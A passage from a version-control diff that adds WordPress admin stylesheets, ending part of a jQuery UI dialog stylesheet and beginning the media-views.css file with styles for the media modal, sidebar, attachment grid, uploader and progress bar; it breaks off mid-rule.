+.ui-button.ui-dialog-titlebar-close {
+	background: none;
+	border: none;
+	box-shadow: none;
+	color: #666;
+	cursor: pointer;
+	display: block;
+	padding: 0;
+	position: absolute;
+	top: 0;
+	right: 0;
+	width: 36px;
+	height: 36px;
+	text-align: center;
+}
+
+.ui-dialog-titlebar-close:before {
+	font: normal 20px/1 dashicons;
+	vertical-align: top;
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	line-height: 36px;
+	width: 36px;
+	height: 36px;
+	content: '\f158';
+}
+
+.ui-button.ui-dialog-titlebar-close:hover {
+	color: #00a0d2;
+}
+
+.ui-dialog-titlebar-close .ui-button-text {
+	display: none;
+}
+
+.ui-dialog-content {
+	padding: 16px;
+	overflow: auto;
+}
+
+.ui-dialog-buttonpane {
+	background: #fcfcfc;
+	border-top: 1px solid #dfdfdf;
+	padding: 16px;
+}
+
+.ui-dialog-buttonpane .ui-button {
+	margin-left: 16px;
+}
+
+.ui-dialog-buttonpane .ui-dialog-buttonset {
+	float: right;
+}
+
+.ui-draggable .ui-dialog-titlebar {
+	cursor: move;
+}
+
+.ui-widget-overlay {
+	position: fixed;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	min-height: 360px;
+	background: #000;
+	opacity: 0.7;
+	filter: alpha(opacity=70);
+	z-index: 100101;
+}
Index: /tags/5.0.20/src/wp-includes/css/media-views.css
===================================================================
--- /tags/5.0.20/src/wp-includes/css/media-views.css	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/css/media-views.css	(revision 56912)
@@ -0,0 +1,2628 @@
+/**
+ * Base Styles
+ */
+.media-modal * {
+	box-sizing: content-box;
+}
+
+.media-modal input,
+.media-modal select,
+.media-modal textarea {
+	box-sizing: border-box;
+}
+
+.media-modal,
+.media-frame {
+	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
+	font-size: 12px;
+	-webkit-overflow-scrolling: touch;
+}
+
+.media-modal legend,
+.media-modal label {
+	font-size: 13px;
+}
+
+.media-frame input,
+.media-frame textarea {
+	padding: 6px 8px;
+}
+
+.media-frame select,
+.wp-admin .media-frame select {
+	line-height: 28px;
+	margin-top: 3px;
+}
+
+.media-frame a {
+	border-bottom: none;
+	color: #0073aa;
+}
+
+.media-frame a:hover,
+.media-frame a:active {
+	color: #00a0d2;
+}
+
+.media-frame a:focus {
+	box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+	outline: none;
+	color: #124964;
+}
+
+.media-frame a.button {
+	color: #32373c;
+}
+
+.media-frame a.button:hover {
+	color: #23282d;
+}
+
+.media-frame a.button-primary,
+.media-frame a.button-primary:hover {
+	color: #fff;
+}
+
+.media-frame input[type="text"],
+.media-frame input[type="password"],
+.media-frame input[type="number"],
+.media-frame input[type="search"],
+.media-frame input[type="email"],
+.media-frame input[type="url"],
+.media-frame textarea,
+.media-frame select {
+	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
+	font-size: 12px;
+	border-width: 1px;
+	border-style: solid;
+	border-color: #ddd;
+}
+
+.media-frame input[type="text"]:focus,
+.media-frame input[type="password"]:focus,
+.media-frame input[type="number"]:focus,
+.media-frame input[type="search"]:focus,
+.media-frame input[type="email"]:focus,
+.media-frame input[type="url"]:focus,
+.media-frame textarea:focus,
+.media-frame select:focus {
+	border-color: #5b9dd9;
+}
+
+.media-frame select {
+	height: 24px;
+	padding: 2px;
+}
+
+.media-frame input:disabled,
+.media-frame textarea:disabled,
+.media-frame input[readonly],
+.media-frame textarea[readonly] {
+	background-color: #eee;
+}
+
+.media-frame input[type="search"] {
+	-webkit-appearance: textfield;
+}
+
+.media-frame ::-webkit-input-placeholder {
+	color: #72777c;
+}
+
+.media-frame ::-moz-placeholder {
+	color: #72777c;
+	opacity: 1;
+}
+
+.media-frame :-ms-input-placeholder {
+	color: #72777c;
+}
+
+.media-frame .hidden {
+	display: none;
+}
+
+/*!
+ * jQuery UI Draggable/Sortable 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+.ui-draggable-handle,
+.ui-sortable-handle {
+	touch-action: none;
+}
+
+/**
+ * Modal
+ */
+.media-modal {
+	position: fixed;
+	top: 30px;
+	left: 30px;
+	right: 30px;
+	bottom: 30px;
+	z-index: 160000;
+}
+
+.wp-customizer .media-modal {
+	z-index: 560000;
+}
+
+.media-modal-backdrop {
+	position: fixed;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	min-height: 360px;
+	background: #000;
+	opacity: 0.7;
+	z-index: 159900;
+}
+
+.wp-customizer .media-modal-backdrop {
+	z-index: 559900;
+}
+
+.media-modal-close {
+	position: absolute;
+	top: 0;
+	right: 0;
+	width: 50px;
+	height: 50px;
+	margin: 0;
+	padding: 0;
+	border: 1px solid transparent;
+	background: none;
+	color: #666;
+	z-index: 1000;
+	cursor: pointer;
+	outline: none;
+	transition: color .1s ease-in-out, background .1s ease-in-out;
+}
+
+.media-modal-close:hover,
+.media-modal-close:active {
+	color: #00a0d2;
+}
+
+.media-modal-close:focus {
+	color: #00a0d2;
+	border-color: #5b9dd9;
+	box-shadow: 0 0 3px rgba( 0, 115, 170, .8 );
+}
+
+.media-modal-close span.media-modal-icon {
+	background-image: none;
+}
+
+.media-modal-close .media-modal-icon:before {
+	content: "\f158";
+	font: normal 20px/1 dashicons;
+	speak: none;
+	vertical-align: middle;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+.media-modal-content {
+	position: absolute;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	overflow: auto;
+	min-height: 300px;
+	box-shadow: 0 5px 15px rgba(0,0,0,0.7);
+	background: #fcfcfc;
+	-webkit-font-smoothing: subpixel-antialiased;
+}
+
+.media-modal-content .media-frame select.attachment-filters {
+	margin-top: 11px;
+	margin-right: 2%;
+	width: 42%;
+	width: calc(48% - 12px);
+}
+
+.media-modal-content .media-toolbar-primary .media-button {
+	float: right;
+}
+
+.media-modal-content .attachments-browser .search {
+	width: 100%;
+}
+
+/* higher specificity */
+.wp-core-ui .media-modal-icon {
+	background-image: url(../images/uploader-icons.png);
+	background-repeat: no-repeat;
+}
+
+/**
+ * Toolbar
+ */
+.media-toolbar {
+	position: absolute;
+	top: 0;
+	left: 0;
+	right: 0;
+	z-index: 100;
+	height: 60px;
+	padding: 0 16px;
+	border: 0 solid #ddd;
+	overflow: hidden;
+}
+
+.media-frame-toolbar .media-toolbar {
+	top: initial;
+	bottom: -45px;
+	height: auto;
+	overflow: initial;
+	border-top: 1px solid #ddd;
+}
+
+@media screen and (max-width: 782px) {
+	.media-frame-toolbar .media-toolbar {
+		bottom: -48px;
+	}
+}
+
+.media-toolbar-primary {
+	float: right;
+	height: 100%;
+}
+
+.media-toolbar-secondary {
+	float: left;
+	height: 100%;
+}
+
+.media-toolbar-primary > .media-button,
+.media-toolbar-primary > .media-button-group {
+	margin-left: 10px;
+	float: left;
+	margin-top: 15px;
+}
+
+.media-toolbar-secondary > .media-button,
+.media-toolbar-secondary > .media-button-group {
+	margin-right: 10px;
+	margin-top: 15px;
+}
+
+/**
+ * Sidebar
+ */
+.media-sidebar {
+	position: absolute;
+	top: 0;
+	right: 0;
+	bottom: 0;
+	width: 267px;
+	padding: 0 16px 24px;
+	z-index: 75;
+	background: #f3f3f3;
+	border-left: 1px solid #ddd;
+	overflow: auto;
+	-webkit-overflow-scrolling: touch;
+}
+
+.hide-toolbar .media-sidebar {
+	bottom: 0;
+}
+
+.media-sidebar .sidebar-title {
+	font-size: 20px;
+	margin: 0;
+	padding: 12px 10px 10px;
+	line-height: 28px;
+}
+
+.media-sidebar .sidebar-content {
+	padding: 0 10px;
+	margin-bottom: 130px;
+}
+
+.media-sidebar .search {
+	display: block;
+	width: 100%;
+}
+
+.media-sidebar h3, /* Back-compat for pre-4.4 */
+.image-details h3, /* Back-compat for pre-4.4 */
+.media-sidebar h2,
+.image-details h2 {
+	position: relative;
+	font-weight: 600;
+	text-transform: uppercase;
+	font-size: 12px;
+	color: #666;
+	margin: 24px 0 8px;
+}
+
+.media-sidebar .setting,
+.attachment-details .setting {
+	display: block;
+	float: left;
+	width: 100%;
+	margin: 1px 0;
+}
+
+.media-sidebar .setting label,
+.attachment-details .setting label {
+	display: block;
+}
+
+.media-sidebar .setting .link-to-custom,
+.attachment-details .setting .link-to-custom {
+	margin: 3px 2px 0;
+}
+
+.media-sidebar .setting span,
+.attachment-details .setting span {
+	min-width: 30%;
+	margin-right: 4%;
+	font-size: 12px;
+	text-align: right;
+	word-wrap: break-word;
+}
+
+.media-sidebar .setting .name {
+	max-width: 80px;
+}
+
+.media-sidebar .setting select,
+.attachment-details .setting select {
+	max-width: 65%;
+}
+
+.media-sidebar .setting input[type="checkbox"],
+.media-sidebar .field input[type="checkbox"],
+.media-sidebar .setting input[type="radio"],
+.media-sidebar .field input[type="radio"],
+.attachment-details .setting input[type="checkbox"],
+.attachment-details .field input[type="checkbox"],
+.attachment-details .setting input[type="radio"],
+.attachment-details .field input[type="radio"] {
+	float: none;
+	margin: 8px 3px 0;
+	padding: 0;
+}
+
+.media-sidebar .setting span,
+.attachment-details .setting span,
+.compat-item label span {
+	float: left;
+	min-height: 22px;
+	padding-top: 8px;
+	line-height: 16px;
+	font-weight: 400;
+	color: #666;
+}
+
+.compat-item label span {
+	text-align: right;
+}
+
+.media-sidebar .setting input[type="text"],
+.media-sidebar .setting input[type="password"],
+.media-sidebar .setting input[type="email"],
+.media-sidebar .setting input[type="number"],
+.media-sidebar .setting input[type="search"],
+.media-sidebar .setting input[type="tel"],
+.media-sidebar .setting input[type="url"],
+.media-sidebar .setting textarea,
+.media-sidebar .setting .value,
+.attachment-details .setting input[type="text"],
+.attachment-details .setting input[type="password"],
+.attachment-details .setting input[type="email"],
+.attachment-details .setting input[type="number"],
+.attachment-details .setting input[type="search"],
+.attachment-details .setting input[type="tel"],
+.attachment-details .setting input[type="url"],
+.attachment-details .setting textarea,
+.attachment-details .setting .value {
+	box-sizing: border-box;
+	margin: 1px;
+	width: 65%;
+	float: right;
+}
+
+.media-sidebar .setting .value,
+.attachment-details .setting .value {
+	margin: 0 1px;
+	text-align: left;
+}
+
+.media-sidebar .setting textarea,
+.attachment-details .setting textarea,
+.compat-item .field textarea {
+	height: 62px;
+	resize: vertical;
+}
+
+.media-sidebar select,
+.attachment-details select {
+	margin-top: 3px;
+}
+
+.compat-item {
+	float: left;
+	width: 100%;
+	overflow: hidden;
+}
+
+.compat-item table {
+	width: 100%;
+	table-layout: fixed;
+	border-spacing: 0;
+	border: 0;
+}
+
+.compat-item tr {
+	padding: 2px 0;
+	display: block;
+	overflow: hidden;
+}
+
+.compat-item .label,
+.compat-item .field {
+	display: block;
+	margin: 0;
+	padding: 0;
+}
+
+.compat-item .label {
+	min-width: 30%;
+	margin-right: 4%;
+	float: left;
+	text-align: right;
+}
+
+.compat-item .label span {
+	display: block;
+	width: 100%;
+}
+
+.compat-item .field {
+	float: right;
+	width: 65%;
+	margin: 1px;
+}
+
+.compat-item .field input[type="text"],
+.compat-item .field input[type="password"],
+.compat-item .field input[type="email"],
+.compat-item .field input[type="number"],
+.compat-item .field input[type="search"],
+.compat-item .field input[type="tel"],
+.compat-item .field input[type="url"],
+.compat-item .field textarea {
+	width: 100%;
+	margin: 0;
+	box-sizing: border-box;
+}
+
+.sidebar-for-errors .attachment-details,
+.sidebar-for-errors .compat-item,
+.sidebar-for-errors .media-sidebar .media-progress-bar,
+.sidebar-for-errors .upload-details {
+	display: none !important;
+}
+
+/**
+ * Menu
+ */
+.media-menu {
+	position: absolute;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	margin: 0;
+	padding: 10px 0;
+	background: #f3f3f3;
+	border-right-width: 1px;
+	border-right-style: solid;
+	border-right-color: #ccc;
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.media-menu > a {
+	display: block;
+	position: relative;
+	padding: 8px 20px;
+	margin: 0;
+	line-height: 18px;
+	font-size: 14px;
+	color: #0073aa;
+	text-decoration: none;
+}
+
+.media-menu > a:hover {
+	color: #0073aa;
+	background: rgba( 0, 0, 0, 0.04 );
+}
+
+.media-menu > a:active {
+	outline: none;
+}
+
+.media-menu .active,
+.media-menu .active:hover {
+	color: #23282d;
+	font-weight: 600;
+}
+
+.media-menu .separator {
+	height: 0;
+	margin: 12px 20px;
+	padding: 0;
+	border-top: 1px solid #ddd;
+}
+
+/**
+ * Menu
+ */
+.media-router {
+	position: relative;
+	padding: 0 6px;
+	margin: 0;
+	clear: both;
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.media-router a {
+	transition: none;
+}
+
+.media-router > a {
+	position: relative;
+	float: left;
+	padding: 8px 10px 9px;
+	margin: 0;
+	height: 18px;
+	line-height: 18px;
+	font-size: 14px;
+	text-decoration: none;
+}
+
+.media-router > a:last-child {
+	border-right: 0;
+}
+
+.media-router > a:active {
+	outline: none;
+}
+
+.media-router .active,
+.media-router .active:hover {
+	color: #32373c;
+}
+
+.media-router .active,
+.media-router > a.active:last-child {
+	margin: -1px -1px 0;
+	background: #fff;
+	border: 1px solid #ddd;
+	border-bottom: none;
+}
+
+.media-router .active:after {
+	display: none;
+}
+
+/**
+ * Frame
+ */
+.media-frame {
+	overflow: hidden;
+	position: absolute;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+}
+
+.media-frame-menu {
+	position: absolute;
+	top: 0;
+	left: 0;
+	bottom: 0;
+	width: 200px;
+	z-index: 150;
+}
+
+.media-frame-title {
+	position: absolute;
+	top: 0;
+	left: 200px;
+	right: 0;
+	height: 50px;
+	z-index: 200;
+}
+
+.media-frame-router {
+	position: absolute;
+	top: 50px;
+	left: 200px;
+	right: 0;
+	height: 36px;
+	z-index: 200;
+}
+
+.media-frame-content {
+	position: absolute;
+	top: 84px;
+	left: 200px;
+	right: 0;
+	bottom: 61px;
+	height: auto;
+	width: auto;
+	margin: 0;
+	overflow: auto;
+	background: #fff;
+	border-top: 1px solid #ddd;
+}
+
+.media-frame-toolbar {
+	position: absolute;
+	left: 200px;
+	right: 0;
+	bottom: 0;
+	height: 60px;
+	z-index: 100;
+	bottom: 60px;
+	height: auto;
+}
+
+.media-frame.hide-menu .media-frame-title,
+.media-frame.hide-menu .media-frame-router,
+.media-frame.hide-menu .media-frame-toolbar,
+.media-frame.hide-menu .media-frame-content {
+	left: 0;
+}
+
+.media-frame.hide-toolbar .media-frame-content {
+	bottom: 0;
+}
+
+.media-frame.hide-router .media-frame-content {
+	top: 50px;
+}
+
+.media-frame.hide-menu .media-frame-menu,
+.media-frame.hide-router .media-frame-router,
+.media-frame.hide-toolbar .media-frame-toolbar {
+	display: none;
+}
+
+.media-frame.hide-router .media-frame-title {
+	border-bottom: 1px solid #ddd;
+	box-shadow: 0 4px 4px -4px rgba( 0, 0, 0, 0.1 );
+}
+
+.media-frame-title .dashicons {
+	display: none;
+}
+
+.media-frame-title h1 {
+	padding: 0 16px;
+	font-size: 22px;
+	line-height: 50px;
+	margin: 0;
+}
+
+.media-frame-title .suggested-dimensions {
+	font-size: 14px;
+	float: right;
+	margin-right: 20px;
+}
+
+.media-frame-content .crop-content {
+	height: 100%;
+}
+
+.wp-customizer:not(.mobile) .media-frame-content .crop-content.site-icon {
+	margin-right: 300px;
+}
+
+.media-frame-content .crop-content .crop-image {
+	display: block;
+	margin: auto;
+	max-width: 100%;
+	max-height: 100%;
+}
+
+.media-frame-content .crop-content .upload-errors
+{
+	position: absolute;
+	width: 300px;
+	top: 50%;
+	left: 50%;
+	margin-left: -150px;
+	margin-right: -150px;
+	z-index: 600000;
+}
+
+/**
+ * Iframes
+ */
+.media-frame .media-iframe {
+	overflow: hidden;
+}
+
+.media-frame .media-iframe,
+.media-frame .media-iframe iframe {
+	height: 100%;
+	width: 100%;
+	border: 0;
+}
+
+/**
+ * Attachment Browser Filters
+ */
+.media-frame select.attachment-filters {
+	margin-top: 11px;
+	margin-right: 2%;
+	max-width: 42%;
+	max-width: calc(48% - 12px);
+}
+
+.media-frame select.attachment-filters:last-of-type {
+	margin-right: 0;
+}
+
+/**
+ * Search
+ */
+.media-frame .search {
+	margin-top: 11px;
+	padding: 4px;
+	font-size: 13px;
+	color: #444;
+	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
+	-webkit-appearance: none;
+}
+
+.media-toolbar-primary .search {
+	max-width: 100%;
+}
+
+/**
+ * Attachments
+ */
+.wp-core-ui .attachments {
+	margin: 0;
+	-webkit-overflow-scrolling: touch;
+}
+
+/**
+ * Attachment
+ */
+.wp-core-ui .attachment {
+	position: relative;
+	float: left;
+	padding: 8px;
+	margin: 0;
+	color: #444;
+	cursor: pointer;
+	list-style: none;
+	text-align: center;
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+	width: 25%;
+	box-sizing: border-box;
+}
+
+.wp-core-ui .attachment:focus,
+.wp-core-ui .selected.attachment:focus,
+.wp-core-ui .attachment.details:focus {
+	box-shadow:
+		inset 0 0 2px 3px #fff,
+		inset 0 0 0 7px #5b9dd9;
+	outline: none;
+}
+
+.wp-core-ui .selected.attachment {
+	box-shadow:
+		inset 0 0 0 5px #fff,
+		inset 0 0 0 7px #ccc;
+}
+
+.wp-core-ui .attachment.details {
+	box-shadow:
+		inset 0 0 0 3px #fff,
+		inset 0 0 0 7px #0073aa;
+}
+
+.wp-core-ui .attachment-preview {
+	position: relative;
+	box-shadow:
+		inset 0 0 15px rgba( 0, 0, 0, 0.1 ),
+		inset 0 0 0 1px rgba( 0, 0, 0, 0.05 );
+	background: #eee;
+	cursor: pointer;
+}
+
+.wp-core-ui .attachment-preview:before {
+	content: "";
+	display: block;
+	padding-top: 100%;
+}
+
+.wp-core-ui .attachment .icon {
+	margin: 0 auto;
+	overflow: hidden;
+}
+
+.wp-core-ui .attachment .thumbnail {
+	overflow: hidden;
+	position: absolute;
+	top: 0;
+	right: 0;
+	bottom: 0;
+	left: 0;
+	opacity: 1;
+	transition: opacity .1s;
+}
+
+.wp-core-ui .attachment .portrait img {
+	max-width: 100%;
+}
+
+.wp-core-ui .attachment .landscape img {
+	max-height: 100%;
+}
+
+.wp-core-ui .attachment .thumbnail:after {
+	content: "";
+	display: block;
+	position: absolute;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	box-shadow: inset 0 0 0 1px rgba( 0, 0, 0, 0.1 );
+	overflow: hidden;
+}
+
+.wp-core-ui .attachment .thumbnail img {
+	top: 0;
+	left: 0;
+}
+
+.wp-core-ui .attachment .thumbnail .centered {
+	position: absolute;
+	top: 0;
+	left: 0;
+	width: 100%;
+	height: 100%; /* Fails with spaces?? Weird! */
+	transform: translate( 50%, 50% );
+}
+
+.wp-core-ui .attachment .thumbnail .centered img {
+	transform: translate( -50%, -50% );
+}
+
+.wp-core-ui .attachments-browser .attachment .thumbnail .centered img.icon {
+	transform: translate( -50%, -70% );
+}
+
+.ie8 .wp-core-ui .attachment img.icon {
+	top: 20%;
+	position: relative;
+}
+
+.wp-core-ui .attachment .filename {
+	position: absolute;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	overflow: hidden;
+	max-height: 100%;
+	word-wrap: break-word;
+	text-align: center;
+	font-weight: 600;
+	background: rgba( 255, 255, 255, 0.8 );
+	box-shadow: inset 0 0 0 1px rgba( 0, 0, 0, 0.15 );
+}
+
+.wp-core-ui .attachment .filename div {
+	padding: 5px 10px;
+}
+
+.wp-core-ui .attachment .thumbnail img {
+	position: absolute;
+}
+
+.wp-core-ui .attachment-close {
+	display: block;
+	position: absolute;
+	top: 5px;
+	right: 5px;
+	height: 22px;
+	width: 22px;
+	padding: 0;
+	background-color: #fff;
+	background-position: -96px 4px;
+	border-radius: 3px;
+	box-shadow: 0 0 0 1px rgba( 0, 0, 0, 0.3 );
+	transition: none;
+}
+
+.wp-core-ui .attachment-close:hover,
+.wp-core-ui .attachment-close:focus {
+	background-position: -36px 4px;
+}
+
+.wp-core-ui .attachment .check {
+	display: none;
+	height: 24px;
+	width: 24px;
+	padding: 0;
+	border: 0;
+	position: absolute;
+	z-index: 10;
+	top: 0;
+	right: 0;
+	outline: none;
+	background: #eee;
+	cursor: pointer;
+	box-shadow: 0 0 0 1px #fff, 0 0 0 2px rgba( 0, 0, 0, 0.15 );
+}
+
+.wp-core-ui .attachment .check .media-modal-icon {
+	display: block;
+	background-position: -1px 0;
+	height: 15px;
+	width: 15px;
+	margin: 5px;
+}
+
+.wp-core-ui .attachment .check:hover .media-modal-icon {
+	background-position: -40px 0;
+}
+
+.wp-core-ui .attachment.selected .check {
+	display: block;
+}
+
+.wp-core-ui .attachment.details .check,
+.wp-core-ui .attachment.selected .check:focus,
+.wp-core-ui .media-frame.mode-grid .attachment.selected .check {
+	background-color: #0073aa;
+	box-shadow:
+		0 0 0 1px #fff,
+		0 0 0 2px #0073aa;
+}
+
+.wp-core-ui .attachment.details .check .media-modal-icon,
+.wp-core-ui .media-frame.mode-grid .attachment.selected .check .media-modal-icon {
+	background-position: -21px 0;
+}
+
+.wp-core-ui .attachment.details .check:hover .media-modal-icon,
+.wp-core-ui .attachment.selected .check:focus .media-modal-icon,
+.wp-core-ui .media-frame.mode-grid .attachment.selected .check:hover .media-modal-icon {
+	background-position: -60px 0;
+}
+
+.wp-core-ui .media-frame .attachment .describe {
+	position: relative;
+	display: block;
+	width: 100%;
+	margin: 0;
+	padding: 8px;
+	font-size: 12px;
+	border-radius: 0;
+}
+
+/**
+ * Attachments Browser
+ */
+.media-frame .attachments-browser {
+	position: relative;
+	width: 100%;
+	height: 100%;
+	overflow: hidden;
+}
+
+.attachments-browser .media-toolbar {
+	right: 300px;
+	height: 50px;
+}
+
+.attachments-browser.hide-sidebar .media-toolbar {
+	right: 0;
+}
+
+.attachments-browser .media-toolbar-primary > .media-button,
+.attachments-browser .media-toolbar-primary > .media-button-group,
+.attachments-browser .media-toolbar-secondary > .media-button,
+.attachments-browser .media-toolbar-secondary > .media-button-group {
+	margin: 11px 0;
+}
+
+.attachments-browser .attachments {
+	padding: 2px 8px 8px;
+}
+
+.attachments-browser .attachments,
+.attachments-browser .uploader-inline {
+	position: absolute;
+	top: 50px;
+	left: 0;
+	right: 300px;
+	bottom: 0;
+	overflow: auto;
+	outline: none;
+}
+
+.attachments-browser .uploader-inline.hidden {
+	display: none;
+}
+
+.attachments-browser .media-toolbar-primary {
+	max-width: 33%;
+}
+
+.attachments-browser .media-toolbar-secondary {
+	max-width: 66%;
+}
+
+.uploader-inline .close {
+	background-color: transparent;
+	border: 0;
+	cursor: pointer;
+	height: 48px;
+	outline: none;
+	padding: 0;
+	position: absolute;
+	right: 2px;
+	text-align: center;
+	top: 2px;
+	width: 48px;
+	z-index: 1;
+}
+
+.uploader-inline .close:before {
+	font: normal 30px/1 dashicons !important;
+	color: #555d66;
+	display: inline-block;
+	content: "\f335";
+	font-weight: 300;
+	margin-top: 1px;
+}
+
+.uploader-inline .close:focus {
+	outline: 1px solid  #5b9dd9;
+	box-shadow: 0 0 3px rgba( 0, 115, 170, .8 );
+}
+
+.attachments-browser.hide-sidebar .attachments,
+.attachments-browser.hide-sidebar .uploader-inline {
+	right: 0;
+	margin-right: 0;
+}
+
+.attachments-browser .instructions {
+	display: inline-block;
+	margin-top: 16px;
+	line-height: 18px;
+	font-size: 13px;
+	color: #666;
+	margin-right: 0.5em;
+}
+
+.attachments-browser .no-media {
+	padding: 2em 0 0 2em;
+}
+
+/**
+ * Progress Bar
+ */
+.media-progress-bar {
+	position: relative;
+	height: 10px;
+	width: 70%;
+	margin: 10px auto;
+	border-radius: 10px;
+	background: #ddd;
+	background: rgba( 0, 0, 0, 0.1 );
+}
+
+.media-progress-bar div {
+	height: 10px;
+	min-width: 20px;
+	width: 0;
+	background: #0073aa;
+	border-radius: 10px;
+	transition: width 300ms;
+}
+
+.media-uploader-status .media-progress-bar {
+	display: none;
+	width: 100%;
+}
+
+.uploading.media-uploader-status .media-progress-bar {
+	display: block;
+}
+
+.attachment-preview .media-progress-bar {
+	position: absolute;
+	top: 50%;
+	left: 15%;
+	width: 70%;
+	margin: -5px 0 0 0;
+}
+
+.media-uploader-status {
+	position: relative;
+	margin: 0 auto;
+	padding-bottom: 10px;
+	max-width: 400px;
+}
+
+.uploader-inline .media-uploader-status h3, /* Back-compat for pre-4.4 */
+.uploader-inline .media-uploader-status h2 {
+	display: none;
+}
+
+.media-uploader-status .upload-details {
+	display: none;
+	font-size: 12px;
+	color: #666;
+}
+
+.uploading.media-uploader-status .upload-details {
+	display: block;
+}
+
+.media-uploader-status .upload-detail-separator {
+	padding: 0 4px;
+}
+
+.media-uploader-status .upload-count {
+	color: #444;
+}
+
+.media-uploader-status .upload-dismiss-errors,
+.media-uploader-status .upload-errors {
+	display: none;
+}
+
+.errors.media-uploader-status .upload-dismiss-errors,
+.errors.media-uploader-status .upload-errors {
+	display: block;
+}
+
+.media-uploader-status .upload-dismiss-errors {
+	text-decoration: none;
+}
+
+.media-sidebar .media-uploader-status .upload-dismiss-errors {
+	position: absolute;
+	top: -10px;
+	right: -10px;
+	padding: 10px;
+	transition: none;
+}
+
+.media-sidebar .media-uploader-status .upload-dismiss-errors:before {
+	content: "\f153";
+	display: block;
+	font: normal 16px/1 dashicons;
+	color: #72777c;
+}
+
+.media-sidebar .media-uploader-status .upload-dismiss-errors:hover:before,
+.media-sidebar .media-uploader-status .upload-dismiss-errors:focus:before {
+	color: #c00;
+}
+
+.upload-errors .upload-error {
+	padding: 12px;
+	margin-bottom: 12px;
+	background: #fff;
+	border-left: 4px solid #dc3232;
+	box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1);
+}
+
+.uploader-inline .upload-errors .upload-error {
+	background-color: #fbeaea;
+	box-shadow: none;
+}
+
+.upload-errors .upload-error-filename {
+	font-weight: 600;
+}
+
+.upload-errors .upload-error-message {
+	display: block;
+	padding-top: 8px;
+	word-wrap: break-word;
+}
+
+.uploader-window {
+	position: fixed;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	background: rgba( 0, 86, 132, 0.9 );
+	z-index: 250000;
+	display: none;
+	text-align: center;
+	opacity: 0;
+	transition: opacity 250ms;
+}
+
+.uploader-window-content {
+	position: absolute;
+	top: 10px;
+	left: 10px;
+	right: 10px;
+	bottom: 10px;
+	border: 1px dashed #fff;
+}
+
+.uploader-window h3, /* Back-compat for pre-4.4 */
+.uploader-window h1 {
+	margin: -0.5em 0 0;
+	position: absolute;
+	top: 50%;
+	left: 0;
+	right: 0;
+	transform: translateY( -50% );
+	font-size: 40px;
+	color: #fff;
+	padding: 0;
+}
+
+.uploader-window .media-progress-bar {
+	margin-top: 20px;
+	max-width: 300px;
+	background: transparent;
+	border-color: #fff;
+	display: none;
+}
+
+.uploader-window .media-progress-bar div {
+	background: #fff;
+}
+
+.uploading .uploader-window .media-progress-bar {
+	display: block;
+}
+
+.media-frame .uploader-inline {
+	margin-bottom: 20px;
+	padding: 0;
+	text-align: center;
+}
+
+.uploader-inline-content {
+	position: absolute;
+	top: 30%;
+	left: 0;
+	right: 0;
+}
+
+.uploader-inline-content .upload-ui {
+	margin: 2em 0;
+}
+
+.uploader-inline-content .post-upload-ui {
+	margin-bottom: 2em;
+}
+
+.uploader-inline .has-upload-message .upload-ui {
+	margin: 0 0 4em;
+}
+
+.uploader-inline h3, /* Back-compat for pre-4.4 */
+.uploader-inline h2 {
+	font-size: 20px;
+	line-height: 28px;
+	font-weight: 400;
+	margin: 0;
+}
+
+.uploader-inline .has-upload-message .upload-instructions {
+	font-size: 14px;
+	color: #444;
+	font-weight: 400;
+}
+
+.uploader-inline .drop-instructions {
+	display: none;
+}
+
+.supports-drag-drop .uploader-inline .drop-instructions {
+	display: block;
+}
+
+.uploader-inline p {
+	font-size: 12px;
+	margin: 0.5em 0;
+}
+
+.uploader-inline .media-progress-bar {
+	display: none;
+}
+
+.uploading.uploader-inline .media-progress-bar {
+	display: block;
+}
+
+.uploader-inline .browser {
+	display: inline-block !important;
+}
+
+/**
+ * Selection
+ */
+.media-selection {
+	position: absolute;
+	top: 0;
+	left: 0;
+	right: 350px;
+	height: 60px;
+	padding: 0 0 0 16px;
+	overflow: hidden;
+	white-space: nowrap;
+}
+
+.media-selection .selection-info {
+	display: inline-block;
+	font-size: 12px;
+	height: 60px;
+	margin-right: 10px;
+	vertical-align: top;
+}
+
+.media-selection.empty,
+.media-selection.editing {
+	display: none;
+}
+
+.media-selection.one .edit-selection {
+	display: none;
+}
+
+.media-selection .count {
+	display: block;
+	padding-top: 12px;
+	font-size: 14px;
+	line-height: 20px;
+	font-weight: 600;
+}
+
+.media-selection .button-link {
+	float: left;
+	padding: 1px 8px;
+	margin: 1px 8px 1px -8px;
+	line-height: 16px;
+	border-right: 1px solid #ddd;
+	color: #0073aa;
+	text-decoration: none;
+}
+
+.media-selection .button-link:hover,
+.media-selection .button-link:focus {
+	color: #00a0d2;
+}
+
+.media-selection .button-link:last-child {
+	border-right: 0;
+	margin-right: 0;
+}
+
+.selection-info .clear-selection {
+	color: #bc0b0b;
+}
+
+.selection-info .clear-selection:hover,
+.selection-info .clear-selection:focus {
